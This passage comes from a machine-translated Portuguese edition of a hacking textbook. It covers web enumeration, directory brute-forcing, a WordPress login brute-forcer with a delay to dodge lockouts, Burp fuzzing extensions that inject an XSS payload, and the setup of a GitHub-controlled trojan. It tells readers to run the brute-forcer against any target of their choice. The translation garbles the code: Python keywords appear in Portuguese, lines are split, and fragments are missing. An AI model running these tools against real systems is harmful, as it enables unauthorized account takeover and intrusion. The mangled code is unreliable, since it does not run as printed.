treinamento de detecção facial, desta forma:
Você pode ver uma série de mensagens de erro sendo produzidas pelo
OpenCV porque algumas das imagens que alimentamos podem estar
corrompidas ou parcialmente descarregadas ou seu formato pode não ser
suportado. (Deixaremos a construção de uma robusta rotina de extração e
validação de imagens como uma tarefa de casa para você). Se você abrir seu
diretório de rostos, você deve ver vários arquivos com rostos e caixas verdes
mágicas desenhados ao redor deles.
Esta técnica pode ser usada para determinar que tipos de conteúdo seu
alvo está olhando, bem como para descobrir abordagens prováveis através
da neering social. É claro que você pode estender este exemplo para além de
usá-lo contra imagens esculpidas a partir de tampas e usá-lo em conjunto
com técnicas de rastreamento e análise da web descritas em capítulos
posteriores.
78 Capítulo 4
Possuir a Rede com Scapy 79
5
W EB H ACK ERY
urllib2 importação
url = 'https://www.nostarch.com
1 resposta = urllib2.urlopen(url) # GET
2 print(response.read()
) response.close()
Hackery na Web 73
Na maioria dos casos, entretanto, você vai querer um controle mais fino
sobre como você faz essas solicitações, incluindo ser capaz de definir
cabeçalhos específicos, lidar com cookies e criar solicitações POST. A biblioteca
do urllib2 inclui
uma classe de solicitação que lhe dá este nível de controle. O exemplo a
seguir mostra como criar a mesma solicitação GET usando a classe
Request e definindo um cabeçalho HTTP personalizado User-Agent:
urllib2 importação
url = "https://www.nostarch.com"
1 cabeçalhos = {'User-Agent': "Googlebot"}
2 solicitação = urllib2.Request(url,headers=headers)
3 resposta = urllib2.urlopen(pedido)
print(response.read())
response.close()
1 importação
urllib.parse
importação
urllib.parse
solicitação
2 url = 'http://boodelyboo.com
3 com urllib.request.urlopen(url) como resposta: # GET
74 Capítulo 5
4 conteúdo = resposta.read()
imprimir(conteúdo)
Hackery na Web 75
Para criar uma solicitação POST, passe um dicionário de dados para o
objeto da solicitação, codificado como bytes. Este dicionário de dados deve
ter os pares de valores-chave que a aplicação web de destino espera. Neste
exemplo, o dicionário de informações contém as credenciais (usuário,
senha) necessárias para efetuar o login no site de destino:
imprimir(conteúdo)
A biblioteca de pedidos
Mesmo a documentação oficial Python recomenda o uso da biblioteca de
solicitações para uma interface cliente HTTP de nível superior. Ela não está
na biblioteca padrão, portanto é preciso instalá-la. Veja como fazer isso
usando pip:
pedidos de importação
url = 'http://boodelyboo.com'
resposta = requests.get(url) # GET
Hackery na Web 77
Você verá códigos de outros hackers que usam um ou outro. A idade do
pacote lxml fornece um analisador ligeiramente mais rápido, enquanto o
pacote BeautifulSoup tem lógica para detectar automaticamente a
codificação da página HTML alvo. Nós usaremos o pacote lxml aqui. Instale
qualquer um dos pacotes com pip:
1 de io import BytesIO
de lxml import etree
pedidos de importação
url = 'https://nostarch.com
2 r = requests.get(url) # GET
conteúdo = r.content# conteúdo é do tipo 'bytes'.
parser = etree.HTMLParser()
3 content = etree.parse(BytesIO(content), parser=parser) # Parse em árvore
4 para link em content.findall('//a'): # encontrar todos os elementos "a" de
âncora.
5 print(f"{link.get('href')}} -> {link.text}")
Hackery na Web 79
A sintaxe é quase idêntica. Nós dividimos o conteúdo em uma árvore
1, iteramos sobre os links (a, ou âncora, tags) 2, e imprimimos o alvo
(atributo href) e o texto do link (link.text) 3.
Se você estiver trabalhando a partir de uma máquina comprometida,
você provavelmente evitará
instalando estes pacotes de terceiros para evitar fazer muito barulho de
trabalho na rede, então você está preso com o que quer que tenha em
mãos, que pode ser uma instalação Python 2 ou Python 3 de ossos nus. Isso
significa que você usará a biblioteca padrão (urllib2 ou urllib,
respectivamente).
Nos exemplos que se seguem, assumimos que você está em sua caixa
de ataque, o que significa que você pode usar o pacote de solicitações
para contatar servidores web e lxml para analisar a saída que você
recupera.
Agora que você tem os meios fundamentais para falar com serviços e
websites, vamos criar algumas ferramentas úteis para qualquer ataque ou
teste de penetração de aplicativos web.
Hackery na Web 81
Para obter um mapa dos diretórios e nomes de arquivos que vêm em
uma distribuição WordPress padrão, crie um novo arquivo chamado
mapper.py. Vamos escrever uma função chamada gather_paths para
percorrer a distribuição, inserindo cada caminho de arquivo completo em
uma fila chamada web_paths:
contexto de
importação os
fila de
importação
solicita o
tempo de
importação do
sistema de
importação em
fila de
importação
respostas =
fila.Queue()
2 web_paths = fila.queue()
def gather_paths():
3 para root, _, arquivos em
os.walk('.'): para fname in
files:
se os.path.splitext(fname)[1] em
FILTERED: continuar
path = os.path.join(root, fname)
se path.startwith('.'):
caminho =
caminho[1:]
print(path)
web_paths.put(pat
h)
@contextlib.contextmanager
4 def
chdir(cami
nho): """
82 Capítulo 5
Ao entrar, mude o diretório para o caminho
especificado. Ao sair, mude o diretório de
volta ao original. """
this_dir = os.getcwd()
os.chdir(path)
tente:
5 final
mente,
render-
se:
6 os.chdir(este_dir)
Hackery na Web 83
para omitir imagens e arquivos de estilo. Em vez disso, estamos visando
arquivos HTML ou de texto, que são mais propensos a conter informações úteis
para comprometer o servidor. A variável respostas é o objeto Queue onde
vamos colocar o arquivo...
caminhos que localizamos localmente. A variável web_paths 2 é um segundo
objeto da fila onde armazenaremos os arquivos que tentaremos localizar no
servidor remoto. Dentro da função gather_paths, usamos a função os.walk 3
para caminhar por todos os arquivos e diretórios na aplicação web local
direcionada...
tory. À medida que percorremos os arquivos e diretórios, construímos os
caminhos completos até os arquivos alvo e os testamos em relação à lista
armazenada no FILTERED para ter certeza de que estamos procurando
apenas os tipos de arquivos que queremos. Para cada arquivo válido que
encontramos localmente, adicionamo-lo à fila da variável web_paths.
O gerente de contexto 4 da chdir precisa de um pouco de explicação.
O contexto homem-agers fornece um padrão de programação legal,
especialmente se você estiver esquecido ou
tem muita coisa para acompanhar e quer simplificar sua vida. Você os
achará úteis quando você tiver aberto algo e precisar fechá-lo, trancar algo
e precisar liberá-lo, ou mudar algo e precisar reinicializá-lo. Você
provavelmente está familiarizado com gerentes de arquivos embutidos
como abrir para abrir um arquivo ou soquete para usar um soquete.
Geralmente, você cria um gerente de contexto ao criar uma classe com o
métodos de entrada e saída. O método enter retorna o recurso que
precisa ser gerenciado (como um arquivo ou soquete), e o método exit
realiza as operações de limpeza (fechamento de um arquivo, por exemplo).
Entretanto, em situações onde você não precisa de tanto controle,
você pode usar o @contextlib.contextmanager para criar um gerenciador
de contexto simples que converte uma função geradora em um
gerenciador de contexto.
Esta função chdir permite que você execute o código dentro de um
diretório direcional diferente e garante que, ao sair, você será devolvido ao
diretório original. A função gerador de chdir inicializa o contexto salvando o
diretório original e mudando para o novo diretório, produz o controle de
volta para
gather_paths 5, e depois reverte para o diretório original 6.
Observe que a definição da função chdir contém tentativa e finalmente
bloqueios.
Você encontrará frequentemente declarações de tentativa/exceção, mas o
par tentativa/finalidade é menos comum. O último bloco é sempre
executado, independentemente de quaisquer exceções levantadas.
Precisamos disto aqui porque, não importa se a mudança de diretório tenha
sucesso, queremos que o contexto reverta para o diretório original. Um
exame de brinquedo - ple do bloco de tentativa mostra o que acontece para
cada caso:
84 Capítulo 5
tente:
algo_ que_pode_causar_um_erro()
exceto SomeError como e:
imprimir(e) # mostrar o erro no console
dosomethingelse() # tomar alguma ação
alternativa
senão:
everything_is_fine() # isto só será executado se a tentativa for
finalmente bem sucedida:
limpeza() # isto é executado não importa o que
Hackery na Web 85
Voltando ao código de mapeamento, você pode ver no bloco principal
que você usa o gerenciador de contexto chdir dentro de um com a instrução
7, que chama o gerador com o nome do diretório no qual executar o código.
Em
este exemplo, nós passamos no local onde descompactamos o arquivo ZIP do
WordPress. Este local será diferente em sua máquina; certifique-se de passar
em seu próprio local. A entrada da função chdir salva o nome do diretório
atual e muda o diretório de trabalho para o caminho especificado como o
argu- ment para a função. Em seguida, o controle volta ao fio principal da exe-
cução, que é onde a função gather_paths é executada. Uma vez concluída a
função gather_paths, saímos do gerenciador de contexto, a cláusula final é
executada, e o diretório de trabalho é restaurado ao local original.
Você pode, naturalmente, usar os.chdir manualmente, mas se você
esquecer de desfazer a mudança, você encontrará seu programa executando
em um lugar inesperado. Ao usar seu novo gerenciador de contexto chdir,
você sabe que está trabalhando automaticamente no contexto correto e que,
quando você retorna, está de volta ao local onde estava antes. Você pode
manter esta função de gerenciador de contexto em suas utilidades e usá-la
em seus outros scripts. Passar o tempo escrevendo funções utilitárias limpas
e compreensíveis como esta paga dividendos mais tarde, já que você as usará
repetidamente.
Execute o programa para descer a hierarquia de distribuição do WordPress -
chy e veja os caminhos completos impressos para o console:
Hackery na Web 87
Testando o Alvo Vivo
Agora que você tem os caminhos para os arquivos e diretórios do WordPress,
é hora de fazer alguma coisa com eles - nomedamente, teste seu alvo remoto
para ver quais dos arquivos encontrados em seu sistema de arquivos local
estão realmente instalados no alvo.
Estes são os arquivos que podemos atacar em uma fase posterior, para
forçar um login ou investigar por erros de configuração. Vamos adicionar a
função test_remote ao arquivo mapper.py:
def test_remote():
1 enquanto não web_paths.empty():
2 caminho =
web_paths.get() url =
f'{TARGET}{path}'
3 time.sleep(2) # seu alvo pode ter
estrangulamento/trava. r = pedidos.get(url)
se r.status_code == 200:
4 answers.put(url)
sys.stdout.write('+')
senão:
sys.stdout.write('x')
sys.stdout.flush()
def run():
mitos = lista()
80 Capítulo 5
1 para i na faixa (THREADS):
print(f'Spawning thread {i}')
2 t=
threading.Thread(target=test_remote)
mythreads.append(t)
t.start()
Hackery na Web 81
A função run orquestra o processo de mapeamento, chamando os func-
tionados acabados de definir. Iniciamos 10 threads (definidos no início do
script) 1 e fazemos com que cada thread execute a função test_remote
2. Nós então
esperar que todas as 10 roscas sejam completadas (usando thread.join) antes de
retornar 3.
Agora, podemos terminar adicionando um pouco mais de lógica ao bloco
principal.
Substitua o bloco principal original do arquivo por este código atualizado:
se nome == ' principal ':
1 com
chdir("/home/time/Downloads/wordpr
ess"): gather_paths()
2 input('Press return to continue.')
3 run()
4 com open('myanswers.txt', 'w')
como f: enquanto não
responde.empty():
f.write(f'{answers.get()}\n')
print('done')
Chutando os Pneus
Os autores mantêm um site por perto apenas para testes (boodelyboo.com/),
e é isso que visamos neste exemplo. Para seus próprios testes, você pode
criar um site para jogar, ou você pode instalar o WordPress em sua Kali VM.
Note que você pode usar qualquer aplicativo web de código aberto que seja
rápido de implantar ou que já esteja rodando. Quando você executa o
mapper.py, você deve ver uma saída como esta:
Piracica linha 0
ba
Piracica linha 1
ba
82 Capítulo 5
Piracica linha 2
ba
Piracica linha 3
ba
Piracica linha 4
ba
Piracica linha 5
ba
Piracica linha 6
ba
Piracica linha 7
ba
Piracica linha 8
ba
Piracica linha 9
ba
++x+x+++x+x++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++
Hackery na Web 83
Quando o processo estiver concluído, os caminhos pelos quais você
teve sucesso estão listados no novo arquivo myanswers.txt.
cd ~/Downloads
wget https://www.netsparker.com/s/research/SVNDigger.zip
unzip SVNDigger.zip
fila de
importação
solicita o
sistema de
importação por
fila de
importação
84 Capítulo 5
AGENTE = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101
Firefox/19.0" EXTENSÕES = ['.php', '.bak', '.orig', '.inc']
OBJETIVO =
"http://testphp.vulnweb.com" LINHAS =
50
WORDLIST = "/home/time/Downloads/all.txt"
1 def get_words(resume=None):
2 def
extend_words(wo
rd): se "." em
palavra:
Hackery na Web 85
words.put(f'/{word}')
else:
3 words.put(f'/{word}/')
found_resume = False
words =
queue.Queue()
por palavra em raw_words.split():
5 se o currículo não for
Nenhum: se
encontrado_resu
me:
extend_words(word
) elif word == resume:
found_resume = Verdadeiro
print(f'Resuming wordlist from: {resume}')
senão:
print(word)
extend_words(word
)
6 palavras de retorno
Hackery na Web 87
Agora, vamos escrever a principal função de força bruta:
def dir_bruter(words):
1 cabeçalhos = {'User-Agent':
AGENTE} enquanto não
palavras.vazio():
2 url =
f'{TARGET}{words.get()}' try:
r = requests.get(url, headers=headers)
3 exceto
solicitações.exceções.conexãoError:
sys.stderr.write('x');sys.stderr.flush()
continuar
se r.status_code == 200:
4 print(f'\nSuccess ({r.status_code}: {url})')
elif r.status_code == 404:
5 sys.stderr.write('.');sys.stderr.flush()
else:
print(f'{r.status_code} => {url}')
Hackery na Web 89
Chutando os Pneus
O OWASP tem uma lista de aplicações web vulneráveis, tanto online
como offline, tais como máquinas virtuais e imagens de disco, que você
pode testar suas ferramentas contra. Neste caso, a URL referenciada no
código fonte aponta para uma aplicação web intencionalmente buggy
hospedada pelo Acunetix. O legal de atacar estas aplicações é que ela mostra
quão eficaz pode ser a forçagem bruta.
Recomendamos que você defina a variável THREADS para algo são,
como 5, e execute o roteiro. Um valor muito baixo levará muito tempo para
ser executado, enquanto um valor alto pode sobrecarregar o servidor. Em
resumo, você deve começar a ver resultados como os seguintes:
Se você quiser ver apenas os sucessos, já que você usou sys.stderr para
escrever os caracteres x e ponto (.), invoque o script e redirecione stderr
para /dev/ null para que apenas os arquivos que você encontrou sejam
exibidos no console:
90 Capítulo 5
precise obter acesso a um alvo ou, se você estiver consultando, avaliar a força
da senha em um sistema web existente. Tem se tornado cada vez mais comum
que os sistemas web
Hackery na Web 91
ter proteção de força bruta, seja uma captcha, uma simples equação
matemática ou uma ficha de login que deve ser apresentada com o pedido.
Há um número de forçadores brutos que podem fazer a força bruta de um
pedido de POST para o roteiro de login, mas em muitos casos eles não são
flexíveis o suficiente para lidar com conteúdo dinâmico ou lidar com simples
verificações "você é humano?
Vamos criar um simples forçador bruto que será útil contra o WordPress,
um popular sistema de gerenciamento de conteúdo. Os sistemas WordPress
modernos incluem algumas técnicas básicas contra a força bruta, mas ainda
carecem de bloqueios de conta ou captchas fortes por padrão.
Para poder usar o WordPress com força bruta, nossa ferramenta precisa
atender a duas exigências: recuperar o token oculto do formulário de login antes
de enviar a senha, e garantir que aceitamos cookies em nossa sessão HTTP. O
aplicativo remoto estabelece um ou mais cookies no primeiro contato, e
esperará os cookies de volta em uma tentativa de login. A fim de analisar os
valores do formulário de login, usaremos o pacote lxml introduzido em "Os
pacotes lxml e BeautifulSoup" na página 74.
Vamos começar dando uma olhada no formulário de login do WordPress.
Você pode encontrá-lo navegando para http://<yourtarget>/wp-login.php/.
Você pode usar as ferramentas do seu navegador para "visualizar a fonte"
para encontrar a estrutura HTML. Por exemplo, usando o navegador Firefox,
escolha Tools⏵Web Developer⏵Inspector. Para a estrutura
por uma questão de brevidade, incluímos apenas os elementos relevantes do
formulário:
<form name="loginform" id="loginform"
1 action="http://boodelyboo.com/wordpress/wp-login.php" method="post">
<p>
<label for="user_login">Nome do usuário ou endereço de e-mail</label>
2 <input type="text" name="log" id="user_login" value="" size="20"/>
</p>
<div class="user-pass-wrap">
<label for="user_pass">Password</label>
<div class="wp-pwd">
3 <input type="password" name="pwd" id="user_pass" value=""
size="20" />
</div>
</div>
<p class="submit">
4 <input type="submit" name="wp-submit" id="wp-submit" value="Log
In" />
5 <input type="hidden" name="testcookie" value="1" />
</p>
</form>
Hackery na Web 93
O servidor também define um par de cookies quando você faz contato com
o formulário, e espera recebê-los novamente quando você postar os dados do
formulário.
Esta é a peça essencial da técnica anti-brute-forcing do WordPress. O site
compara o cookie com sua sessão atual de usuário, portanto, mesmo que
você esteja passando as credenciais corretas no script de processamento de
login, a autenticação falhará se o cookie não estiver presente. Quando um
usuário normal entra no site, o navegador inclui automaticamente o cookie.
Devemos duplicar esse comportamento no programa de força bruta.
Trataremos os cookies de forma automática usando o objeto Session da
biblioteca de solicitações.
Vamos contar com o seguinte fluxo de solicitações em nosso forçador
bruto para ter sucesso contra o WordPress:
wget
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Softwa
re/ cain-and-abel.txt
de io importação
94 Capítulo 5
BytesIO de lxml
importação etree de
fila de importação
Queue
importação
solicita sistema
de importação
tempo de
importação de
roscas de
importação
Hackery na Web 95
3 def get_words():
com a lista aberta (WORDLIST) como f:
palavras_brutas = f.read()
4 def
get_params(conten
t): params = dict()
parser = etree.HTMLParser()
árvore = etree.parse(BytesIO(content), parser=parser)
5 para elem in tree.findall('//input'): # encontrar todos os
elementos de entrada nome = elem.get('nome')
se o nome não for Nenhum:
params[nome] = elem.get('valor',
Nenhum) params de retorno
classe Bruter:
def init (self, username, url):
self.username = username
self.url = url
self.found = Falso
print(f'nBrute Force Attack beginning on {url}.\n') print(f'nBrute
Force Attack begin on {url}.\n') print("Finalizada a configuração
onde username = %s\n" % username)
Hackery na Web 97
params = get_params(resp0.content)
params['log'] = self.username
3 resp1 = session.post(self.url,
data=params) if SUCCESS in
resp1.content.decode():
self.found = True
print(f"\nBruteforcing successful.")
print("Username is %s" %
self.username) print("Password is
%s\n" % brute)
print('done: agora limpando outros fios. ...')
Esta é nossa principal classe de força bruta, que irá lidar com todas
as solicitações HTTP e gerenciar os cookies. O trabalho do método
web_bruter, que realiza o ataque de login de força bruta, prossegue em
três etapas.
Na fase de inicialização 1, inicializamos um objeto da Sessão a partir do
solicita uma biblioteca, que tratará automaticamente nossos cookies para nós.
Nós
depois faça o pedido inicial para recuperar o formulário de login. Quando
temos o conteúdo HTML bruto, nós o passamos para a função get_params,
que analisa o conteúdo dos parâmetros e retorna um dicionário de todos os
elementos do formulário recuperado. Depois de analisarmos o HTML com
sucesso, substituímos o parâmetro username. Agora podemos começar a
fazer um looping através de nossos palpites de senha.
Na fase de loop 2, primeiro dormimos alguns segundos em uma
tentativa de contornar os bloqueios de contas. Em seguida, abrimos uma
senha da fila e usamos
para terminar de preencher o dicionário de parâmetros. Se não houver mais
palavras na fila, o fio desiste.
Na fase de solicitação 3, postamos a solicitação com nossa dicção de
parâmetros - ary. Após recuperarmos o resultado da tentativa de autenticação,
testamos se
a autenticação foi bem sucedida - isto é, se o conteúdo contém a cadeia de
sucesso que definimos anteriormente. Se foi bem sucedido e a cadeia de
caracteres está pres- ent, nós limpamos a fila para que os outros fios possam
terminar rapidamente e retornar.
Para embrulhar o forçador bruto do WordPress, vamos adicionar o
seguinte código:
98 Capítulo 5
se nome == ' principal ':
palavras =
get_words()
1 b = Bruter('tim', url)
2 b.run_bruteforce(words))
Hackery na Web 99
HTMLPARSER 101
No exemplo desta seção, utilizamos os pedidos e pacotes lxml para fazer pedidos
HTTP e analisar o conteúdo resultante. Mas e se você não conseguir instalar os
pacotes e, portanto, tiver que confiar na biblioteca padrão? Como observamos no
início deste capítulo, você pode usar urllib para fazer seus pedidos, mas precisará
configurar seu próprio analisador com a biblioteca padrão
html.parser.HTMLParser.
Há três métodos principais que você pode implementar ao usar a classe
HTMLParser: handle_starttag, handle_endtag, e handle_data. A função
handle_starttag será chamada sempre que uma tag HTML de abertura for
<title>Python rocks!</title>
Chutando os Pneus
Se você não tiver o WordPress instalado em sua Kali VM, então instale-o
agora. Em nossa instalação temporária do WordPress hospedado no
boodelyboo.com/, pré-selecionamos o nome de usuário para tim e a senha
100 Capítulo 5
para 1234567, para que possamos ter certeza de que funciona. Acontece
que essa senha só está no arquivo cain.txt, cerca de 30 entradas abaixo. Ao
executar o script, obtemos a seguinte saída:
Bruteforçando o sucesso.
Nome de usuário é tim
A senha é 1234567
Você pode ver que o script é bem sucedido em força bruta e entra no
console do WordPress. Para verificar se funcionou, você deve fazer o login
manualmente usando essas credenciais. Após testar isto localmente e ter
certeza de que funciona, você pode usar esta ferramenta contra uma
instalação WordPress alvo de sua escolha.
102 Capítulo 5
Hackery na Web 103
6
E X T E N D I N G BU R P P R O X Y
Instalação
O Burp Suite vem instalado por padrão no Kali Linux. Se você estiver
usando uma máquina diferente, faça o download do Burp em
http://www.portswigger.net/ e configure-o.
Por mais triste que nos faça admitir isto, você vai precisar de uma
instalação Java moderna. O Kali Linux tem um instalado. Se você estiver em
uma plataforma diferente, use o método de instalação de seu sistema
(como apt, yum, ou rpm) para obter um. Em seguida, instale o Jython, uma
implementação Python 2 escrita em Java. Até agora, todo o nosso código
tem usado a sintaxe Python 3, mas neste capítulo vamos reverter para
Python 2, já que é isso que Jython espera. Você pode encontrar este arquivo
JAR no site oficial, https://www.jython.org/download.html. Selecione o
instalador autônomo Jython 2.7. Salve o arquivo JAR em um local fácil de
lembrar, tal como sua área de trabalho.
Em seguida, ou clique duas vezes no ícone de Burp em sua máquina
Kali ou execute Burp a partir da linha de comando:
Isto acenderá Burp, e você deve ver sua interface gráfica de usuário
(GUI) cheia de abas maravilhosas, como mostrado na Figura 6-1.
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.
Burp Fuzzing
Em algum momento de sua carreira, você pode se encontrar atacando uma
aplicação ou serviço web que não lhe permite utilizar ferramentas
tradicionais de avaliação de aplicações web. Por exemplo, o aplicativo pode
usar demasiados parametros, ou pode ser ofuscado de alguma forma que
torne a realização de um teste manual muito demorado. Temos sido
culpados de executar ferramentas padrão que não podem lidar com
protocolos estranhos, ou mesmo com o JSON em muitos casos. Aqui é onde
você achará útil estabelecer uma base sólida de tra-ficha HTTP, incluindo
cookies de autenticação, enquanto passa o corpo do pedido para um fuzzer
personalizado. Este fuzzer pode então manipular a carga útil
/**
* As extensões podem implementar esta interface e depois ligar
1 * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
* para registrar uma fábrica para cargas úteis de Intrusos personalizados.
*/
*
* @retorno O nome do gerador de carga útil.
*/
2 String getGeneratorName();
/**
* Este método é usado por Burp quando o usuário inicia um Intruder
96 Capítulo 6
* ataque que utiliza este gerador de carga útil.
* @param ataque
* Um objeto de IIntruderAttack que pode ser consultado para obter
detalhes
* sobre o ataque em que será utilizado o gerador de carga útil.
importação aleatória
2 classe BurpExtender(IBurpExtender,
IIntruderPayloadGeneratorFactory): def
registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks self.
_helpers=
callbacks.getHelpers()
3 callbacks.registerIntruderPayloadGeneratorFactory(s
elf) return
4 def getGeneratorName(self):
retornar "BHP Payload Generator"
5 def createNewInstance(auto,
98 Capítulo 6
ataque): devolver
BHPFuzzer(auto, ataque)
/**
* Este método é usado por Burp para obter o valor da próxima carga útil.
*
* @param baseValor base O valor base da posição atual da carga útil.
* Este valor pode ser nulo se o conceito de um valor base não for
* aplicável (por exemplo, em um ataque de aríetes).
* @retorno A próxima carga útil a ser usada no ataque.
*/
2 byte[] getNextPayload(byte[] baseValor);
/**
* Este método é usado por Burp para repor o estado da carga útil
* gerador para que a próxima chamada para
* getNextPayload() devolve novamente a primeira carga útil. Este
* será invocado quando um ataque utiliza a mesma carga útil
* gerador para mais de uma posição de carga útil, por exemplo, em uma
* ataque de franco-atiradores.
*/
3 reinicialização nula();
}
1 classe
BHPFuzzer(IIntruderPayloadGenerato
r): def init (self, extensor, ataque):
self._extender = extender
self._helpers = extender._helpers
self._attack= ataque
2 self. max_payloads= 10
auto.num_iterações = 0
retornar
3 def hasMorePayloads(self):
if self.num_iterations == self.max_payloads:
retornar Falsos
outros:
retornar Verdadeiro
4 def
getNextPayload(self,current_paylo
ad): # converter em uma corda
5 payload = "".join(chr(x) para x em carga_pagamento atual)
def reset(self):
102 Capítulo 6
self.num_iterations = 0
retorno
def mutate_payload(self,original_payload):
# escolher um simples mutador ou até mesmo chamar um
selecionador de scripts externo = random.randint(1,3)
# encravar uma
tentativa de XSS no coletor
elif == 2:
3 front += "<script>alert('BHP!');</script>"
102 Capítulo 6
Figura 6-4: Extensor de arrombamento mostrando que nossa extensão está carregada
Agora mude para a aba Intruder e clique na aba Posições. Uma tela
deve aparecer, mostrando cada parâmetro de consulta destacado. Esta é
a maneira de Burp identificar os pontos que deveríamos estar ocupando.
Você pode tentar mover os delimitadores de carga útil ou selecionar toda
a carga útil para fuzz, se preferir, mas por enquanto, vamos deixar Burp
decidir o que fuzz. Para maior clareza, veja a Figura 6-6, que mostra como
funciona o destaque da carga útil.
Agora clique na guia Payloads. Nesta tela, clique no menu suspenso
Tipo de carga e selecione Extensão-gerada. Na seção Opções de carga,
clique no botão Selecionar gerador e escolha o Gerador de Carga Útil
BHP a partir do menu suspenso. Sua tela de Carga Paga deve agora se
parecer com a Figura 6-7.
104 Capítulo 6
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.
Figura 6-7: Utilização de nossa extensão de fuzzing como gerador de carga útil
104 Capítulo 6
Figura 6-8: Nosso fuzzer funcionando em um ataque de Intruso
106 Capítulo 6
para um menu de contexto, não implementaremos nenhuma adição de
GUI Burp com esta extensão; simplesmente emitiremos os resultados em
Burp cada vez que executarmos uma consulta, e quaisquer URLs
detectadas no escopo alvo de Burp serão adicionadas automaticamente.
Como nós já o orientamos sobre como ler o documento Burp API e
traduzi-lo em Python, vamos direto para o código. Abra o bhp_bing.py e
martele o seguinte:
urllib importação
json import socket
import urllib
1 API_KEY = "SUA CHAVE"
API_HOST = 'api.cognitive.microsoft.com' (API_HOST = 'api.cognitive.microsoft.com')
retornar
108 Capítulo 6
Agora vamos realizar a consulta Bing, emitir os resultados, e adicionar
qualquer dis- anfitrião virtual coberto ao escopo alvo do Burp:
def bing_menu(self,event):
retornar
def bing_search(self,host):
# verificar se temos um IP ou tentativa
de hostname:
2 is_ip = bool(socket.inet_aton(host))
exceto socket.error:
is_ip = Falso
se is_ip:
ip_address = host domain
= False
senão:
ip_address = socket.gethostbyname(host)
domain = True
def bing_query(self,bing_query_string):
print('Performing Bing search: %s' % bing_query_string) http_request
= 'GET https://%s/bing/v7.0/search?' % API_HOST # codificam nossa
consulta
http_request += 'q=%s HTTP/1.1\r\n' % urllib.quote(bing_query_string)
http_request += 'Host: %s\r\n' % API_HOST
http_request += 'Conexão:fechar\r\n
1 http_request += 'Ocp-Apim-Subscription-Key: %s\r\n' % API_KEY
http_request += 'User-Agent': Black Hat Python\r\r\r\n' % "Python
2 json_body = self._callbacks.makeHttpRequest(
API_HOST, 443, True, http_request).tostring()
3 json_body = json_body.split('rsnr, 1)[1]
tente:
4 resposta = json.loads(json_body)
exceto (TypeError, ValueError) como
err:
print('No results from Bing: %s' % err) else:
sites = lista()
if response.get('webPages'):
sites = resposta['webPages']['valor']
se len(sites):
para site em sites:
5 impressão('*'*100)
imprimir('Nome: %s site['nome'])
imprimir('URL: %s % site['url'])
imprimir('Descrição: %r' %
site['snippet']) imprimir('*'*100)
java_url = URL(site['url'])
6 if not self._callbacks.isInScope(java_url):
print('Adding %s to Burp scope' % site['url'])
self._callbacks.includeInScope(java_url)
senão:
print('Resposta vazia da Bing.: %s')
% bing_query_string)
retorn
ar
110 Capítulo 6
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.
Chutando os Pneus
Para que a extensão da busca Bing funcione, use o mesmo procedimento
que usamos para a extensão do fuzzing. Quando estiver carregada, navegue
para http://testphp.vulnweb
.com/ e depois clique com o botão direito do mouse no pedido GET que
você acabou de emitir. Se a extensão carregar corretamente, você deve
ver a opção de menu Enviar para Bing exibida, como mostrado na Figura
6-9.
108 Capítulo 6
Figura 6-10: Nossa extensão fornecendo a saída da busca Bing API
Se você clicar na guia Alvo em Burp e selecionar Escopo, você deverá ver
novos itens adicionados automaticamente ao escopo alvo, como mostrado na
Figura 6-11. O escopo alvo limita atividades como ataques, spidering e
varreduras somente para os anfitriões definidos.
de java.util importação
ArrayList de javax.swing
importação JMenuItem
a partir da data/hora de
importação a partir do
HTMLParser importação
HTMLParser
importação re
classe
TagStripper(HTMLParser):
def init (self):
HTMLParser. init (self)
self.page_text = []
110 Capítulo 6
def handle_comment(self, data):
2 self.page_text.append(data)
classe BurpExtender(IBurpExtender,
IContextMenuFactory): def
registerExtenderCallbacks(self, callbacks):
retornar
def createMenuItems(self,
context_menu): self.context =
context_menu menu_list =
ArrayList()
menu_list.add(JMenuItem(
"Create Wordlist", actionPerformed=self.wordlist_menu))
retornar menu_list
def wordlist_menu(self,event):
# pegar os detalhes do que o usuário clicou
http_traffic = self.context.getSelectedMessages()
self.display_wordlist()
retorno
tag_stripper = TagStripper()
4 page_text = tag_stripper.strip(body)
5 palavras = re.findall("[a-zA-Z]\w{2,}",
retornar
retorno mangled
def display_wordlist(self):
imprimir ("#!comentário: BHP Lista de palavras para o(s) site(s) %s" % ",
".join(self.hosts)) 3
retornar
Chutando os Pneus
Clique na guia Extender em Burp, clique no botão Adicionar, e então use
o mesmo procedimento que usamos para nossas extensões anteriores
para fazer a extensão da Lista de Palavras funcionar.
Na aba Painel, selecione Nova tarefa ao vivo, como mostrado na Figura 6-
12.
Figura 6-14: Envio das solicitações para a extensão da lista de palavras da BHP
Extensão do Burp Proxy 115
114 Capítulo 6
Agora verifique a aba Output da extensão. Na prática, salvaríamos sua
saída em um arquivo, mas para fins de demonstração exibimos a lista de
palavras em Burp, como mostrado na Figura 6-15.
Agora você pode alimentar esta lista de volta ao Burp Intruder para
realizar o verdadeiro ataque de adivinhação de senhas.
7
G I T H U B COM M A N D A N D CON T
ROLL
Agora vamos criar uma estrutura básica para nossa repo. Digite o seguinte
na linha de comando:
$ mkdir bhptrojan
$ cd bhptrojan
$ init init
Módulos de $ mkdir
$ mkdir config
Dados $ mkdir
$ toque .gitignore
$ git add .
$ git commit -m "Adiciona estrutura repo para trojan".
$milhão remoto adicionar origem https://github.com/<seu nome de
usuário>/bhptrojan.git
mestre de origem de $ git push
118 Capítulo 7
tenha que recompilar seu trojan continuamente toda vez que quiser
adicionar novas funcionalidades ou dependências. O diretório de dados é
onde o trojan verificará quaisquer dados coletados.
Você pode criar um token de acesso pessoal no site GitHub e usá-lo
no lugar de uma senha ao realizar operações Git sobre HTTPS com a API.
O token deve fornecer ao nosso trojan tanto a leitura quanto a escrita
Criando Módulos
Em capítulos posteriores, você fará negócios desagradáveis com seus
trojans, como por exemplo, tirar teclas e tirar screenshots. Mas, para
começar, vamos criar alguns módulos simples que podemos testar e
implantar facilmente. Abra um novo arquivo no diretório de módulos,
nomeie-o dirlister.py, e digite o seguinte código:
importação de
def run(**args):
print("[*] In dirlister module.")
